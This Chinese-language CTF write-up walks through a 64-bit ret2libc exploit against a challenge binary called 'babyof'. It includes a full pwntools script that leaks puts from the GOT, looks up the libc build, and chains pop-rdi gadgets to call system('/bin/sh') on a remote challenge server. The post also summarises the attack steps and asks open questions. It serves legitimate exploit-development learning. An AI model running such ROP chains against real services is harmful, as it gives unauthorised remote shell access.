Linux_64的经典ret2libc题目,有必要好好整理总结一下其中的流程和注意点
目录
前言
一、题目重述
二、exp(思考与理解在注释)
三、经验总结
攻击步骤:
注意要点
四、疑问
前言
64位Linux和32位Linux确乎有着关于参数传递上的不同,然而无论哪种,关于ret2libc这一题型。如果仅仅是wiki上的三道题目,那还是远远不够的。故尝试通过本题,总结ret2libc的一般过程。
过程包括通过puts/write来泄露got表中的puts/write的真实地址->计算libc的基址->libc基址+任意库函数相对于libc的偏移量=任意函数真实地址->libc基址+libc中'/bin/sh'偏移量='/bin/sh'地址,如此构造system('/bin/sh')
一、题目重述
很明显存在栈溢出。而动态链接、不存在system、不存在'/bin/sh',说明是ret2libc无疑了。
二、exp(思考与理解在注释)
from pwn import * #pwntools
from LibcSearcher import * #定位libc函数以及特殊字符串;题目没给libc!!至少在nssctf目前还没授权,也没正确的libc附件,但是我们有强大的LibcSearcher库
elf=ELF("./babyof") #获取got/plt等程序信息
context(arch="amd64",log_level="debug",os="linux")
pop_ret_rdi_addr=0x400743 #64linux,用于参数填入函数
puts_plt_addr=0x400520 #用于调用puts,打印(泄露)got表填写的函数真实地址
main_addr=0x40066b #用于返回main函数,准备第二次栈溢出(?)
ret=0x400506 #用于返回,否则出错(?)
io=remote("node4.anna.nssctf.cn",28715) #远程连接
payload=b'a'*(0x40+8) #溢出
payload+=p64(pop_ret_rdi_addr)+p64(elf.got["puts"]) #pop和栈上填写信息连用,实际效果是将填入栈的值传给寄存器,这一点值得记下来;填写了puts要打印的内容是got表puts的真实地址
payload+=p64(puts_plt_addr) #puts的plt地址,用于(参数准备好后)调用call puts
payload+=p64(main_addr) #因为是return puts("I hope you win"),而此时栈上已经一塌糊涂,我们手动让程序执行流回到main准备下一次溢出
io.sendlineafter("overflow?\n",payload) #在此之后就是read,读取我们的payload。效果:打印puts的真实地址,然后返回main函数,准备在此栈溢出
io.recvuntil('win\n')
puts_real_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) #直到读取到\x7f结束符,然后截取后六位(地址),ljust转8字节补齐,u64转为无符号整数
#一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,然后通过ljust函数把最高位的两字节填充成00。
#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr) #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可)
libc_addr=puts_real_addr-libc.dump("puts") #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh") #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system") #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================
payload2=b'a'*(0x40+8) #栈溢出
payload2+=p64(ret) #就是这里,其实不太明白。为什么不直接开始下一步(去掉ret),但是会出错。我的理解是,puts函数跳回,然后在
payload2+=p64(pop_ret_rdi_addr)+p64(bin_sh_addr)#system函数的参数准备,即把'/bin/sh'(的地址)传入
payload2+=p64(system_real_addr) #调用system
payload2+=p64(main_addr) #只是为了能够找到一个合法地址(?)
io.sendlineafter("overflow?\n",payload2) #栈溢出点发送payload
io.recv() #吸收一下发过来的数据,没必要
io.interactive() #开始交互,ls -> cat flag
关于plt/got和ret的获取方式,可以通过ROPgadget以及pwntools中ELF或者gdb调试获得。
当然IDA的反汇编也是非常重要的。
三、经验总结
攻击步骤:
1、泄露任意一个函数的真实地址:只有被执行过的函数才能获取地址
2、获取libc的版本
3、根据偏移获取shell和sh的位置:
a、求libc的基地址(函数动态地址-函数偏移量)
b、求其他函数地址(基地址+函数偏移量)
4、执行程序获取shell
注意要点
- 64位Linux前六个参数是使用rdi, rsi, rdx, rcs, r8, r9 传递的;32位Linux是用栈传递参数的
- libc已知的情况,可以通过反编译libc获取地址,也可以用pwntools的ELF类来获取
- libc未知的情况下,需要确定libc的版本号,在线查找libc database search (blukat.me)
- 可以使用LibSearcher库极大方便地确定libc、确定libc基址、确定函数真实地址
- 64位下,参数可通过pop_reg+value的方式,把value传入reg以备作参数
-
obj = LibcSearcher("gets",gets_real_addr) libcbase = gets_real_addr – obj.dump("gets") system_addr = libcbase + obj.dump("system") #system 偏移 bin_sh_addr = libcbase + obj.dump("str_bin_sh") #/bin/sh 偏移
四、疑问
- exp下的程序执行流究竟是怎么样的?
- payload1/2都在最后加了main_addr,第一个是为了重新栈溢出(吧?),第二个呢是为了程序能够正常退出吗?
- 大佬们的wp,都自然而然加了ret——不加会出错,ret的作用是什么,从哪里返回到哪里?这应该还是与程序控制执行流的实际情况有关吧。求解答!!!!